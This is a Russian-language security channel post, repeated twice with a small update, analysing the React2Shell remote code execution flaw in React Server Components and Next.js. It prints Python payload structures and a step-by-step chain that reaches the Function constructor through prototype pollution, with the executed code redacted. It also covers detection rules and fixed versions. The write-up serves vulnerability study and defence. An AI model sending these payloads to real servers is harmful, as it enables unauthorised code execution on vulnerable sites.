⚠️ #web #offense #события #заметки
➡️Что по поводу React2Shell (CVE-2025-55182 / CVE-2025-66478)?
Исходя из обновлённых react2shell.com (ресурс от автора CVE) и репозитория msanft/CVE-2025-55182, на данный момент имеем следующее: подтверждается, что наконец стали распространяться валидные PoC, не требующие подключения vm#runInThisContext, child_process#exec, fs#writeFile и им подобных;
🐇 Проблема
Сервер и клиент обмениваются чанками, передавая их через form-data — причём чанки могут содержать ссылки друг на друга. До этого коммита не проверялось, принадлежит ли ключ объекту — можно было добраться до прототипа;
Если чанк имеет поле then, то уязвимый сервер думает, что это промис — делает await decodeReplyFromBusboy(...) и вызывает then(resolve, reject);
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
🐇 Эксплуатация
0️⃣ Десериализатор React через getChunck берёт чанк с ID=0 как корневой для разбора ссылок;
1️⃣ Через специальный синтаксис ($@) можно сослаться из чанка ID=1 на чанк ID=0, который вернул бы сырой чанк вместо разобранного объекта;
2️⃣ Когда .status вредоносного чанка = "resolved_model", мы попадаем в initializeModelChunk — где .value парсится как JSON, резолвятся ссылки и вызывается reviveModel, куда передаётся _response из чанка;
3️⃣ При обработке blob'ов с префиксом $B происходит вызов response._formData.get(response._prefix + obj);
4️⃣ Значит, в ._formData — указываем на конструктор Function, а в ._prefix — на произвольный код;
5️⃣ response._formData.get(response._prefix + "0") превратится в Function("█████████") ⚡️
6️⃣ Эксплуатация происходит во время десериализации, ещё до валидации запроса через getActionModIdOrError; В запросе должен быть заголовок Next-Action
🐇 Полезная нагрузка
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"███████████████████;",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
Разбирая полезную нагрузку по пунктам:
🐇 Обнаружение & Митигация
🧩 WAF правила: AWS / Google Cloud / Azure
🧩 Шаблон Nuclei: projectdiscovery/nuclei-templates/.../CVE-2025-55182.yaml
CVE-2025-55182
CVE-2025-66478
⬜➖⬜➖⬜➖
➡️Здесь и здесь — подробный разбор причины, следствия и эксплуатации, а также PoC от сильного тайваньского CTF'ера:
🧩 msanft/CVE-2025-55182
🧩 maple3142/48bc...f5f3
⚡️ А здесь – сразу несколько PoC'ов от оригинального автора CVE:
🧩 lachlan2k/React2Shell-CVE-2025-55182-original-poc
➡️Stay safe!
@HaHacking 🐇
➡️Что по поводу React2Shell (CVE-2025-55182 / CVE-2025-66478)?
Исходя из обновлённых react2shell.com (ресурс от автора CVE) и репозитория msanft/CVE-2025-55182, на данный момент имеем следующее: подтверждается, что наконец стали распространяться валидные PoC, не требующие подключения vm#runInThisContext, child_process#exec, fs#writeFile и им подобных;
⚡️ UPD:
Уже доступен оригинальный PoC, использованный для репорта уязвимости вендору!
🐇 Проблема
Сервер и клиент обмениваются чанками, передавая их через form-data — причём чанки могут содержать ссылки друг на друга. До этого коммита не проверялось, принадлежит ли ключ объекту — можно было добраться до прототипа;
С помощью нагрузки вроде "$1:__proto__:constructor:constructor" можно получить [Function: Function] — глобальный конструктор;
Если чанк имеет поле then, то уязвимый сервер думает, что это промис — делает await decodeReplyFromBusboy(...) и вызывает then(resolve, reject);
Соответственно, можем сформировать специальный объект, где then указывал бы на Function
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
🐇 Эксплуатация
0️⃣ Десериализатор React через getChunck берёт чанк с ID=0 как корневой для разбора ссылок;
1️⃣ Через специальный синтаксис ($@) можно сослаться из чанка ID=1 на чанк ID=0, который вернул бы сырой чанк вместо разобранного объекта;
2️⃣ Когда .status вредоносного чанка = "resolved_model", мы попадаем в initializeModelChunk — где .value парсится как JSON, резолвятся ссылки и вызывается reviveModel, куда передаётся _response из чанка;
3️⃣ При обработке blob'ов с префиксом $B происходит вызов response._formData.get(response._prefix + obj);
4️⃣ Значит, в ._formData — указываем на конструктор Function, а в ._prefix — на произвольный код;
5️⃣ response._formData.get(response._prefix + "0") превратится в Function("█████████") ⚡️
6️⃣ Эксплуатация происходит во время десериализации, ещё до валидации запроса через getActionModIdOrError; В запросе должен быть заголовок Next-Action
🐇 Полезная нагрузка
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"███████████████████;",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
Разбирая полезную нагрузку по пунктам:
▪️"then": "$1:__proto__:then"
➡️ чтобы чанк ID=0 переписал собственный .then();
▪️"status": "resolved_model"
➡️ чтобы Chunk.prototype.then перешёл к выполнению initializeModelChunk;
▪️"reason": -1
➡️ чтобы не упасть на моменте toString в initializeModelChunk;
▪️"value": '{"then": "$B0"}'
➡️ чтобы после второго прохода десериализации превратить в thenable и добраться до response._formData.get(response._prefix + obj);
▪️"_prefix"
➡️ здесь произвольный код для выполнения;
▪️"_formData"
➡️ здесь указываем на конструктор;
🐇 Обнаружение & Митигация
🧩 WAF правила: AWS / Google Cloud / Azure
🧩 Шаблон Nuclei: projectdiscovery/nuclei-templates/.../CVE-2025-55182.yaml
CVE-2025-55182
Уязвимые версии: от React 19 до React 19.2.0
Починили в React 19.2.1
Починили тут: facebook/react/commit/7dc9...8700
Объявили тут: react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
CVE-2025-66478
Уязвимые версии: от Next.js 15 до Next.js 16
Починили в этих версиях
Починили тут: vercel/next.js/commit/6ef90...07b2
Объявили тут: nextjs.org/blog/CVE-2025-66478
⬜➖⬜➖⬜➖
➡️Здесь и здесь — подробный разбор причины, следствия и эксплуатации, а также PoC от сильного тайваньского CTF'ера:
🧩 msanft/CVE-2025-55182
🧩 maple3142/48bc...f5f3
⚡️ А здесь – сразу несколько PoC'ов от оригинального автора CVE:
🧩 lachlan2k/React2Shell-CVE-2025-55182-original-poc
➡️Stay safe!
@HaHacking 🐇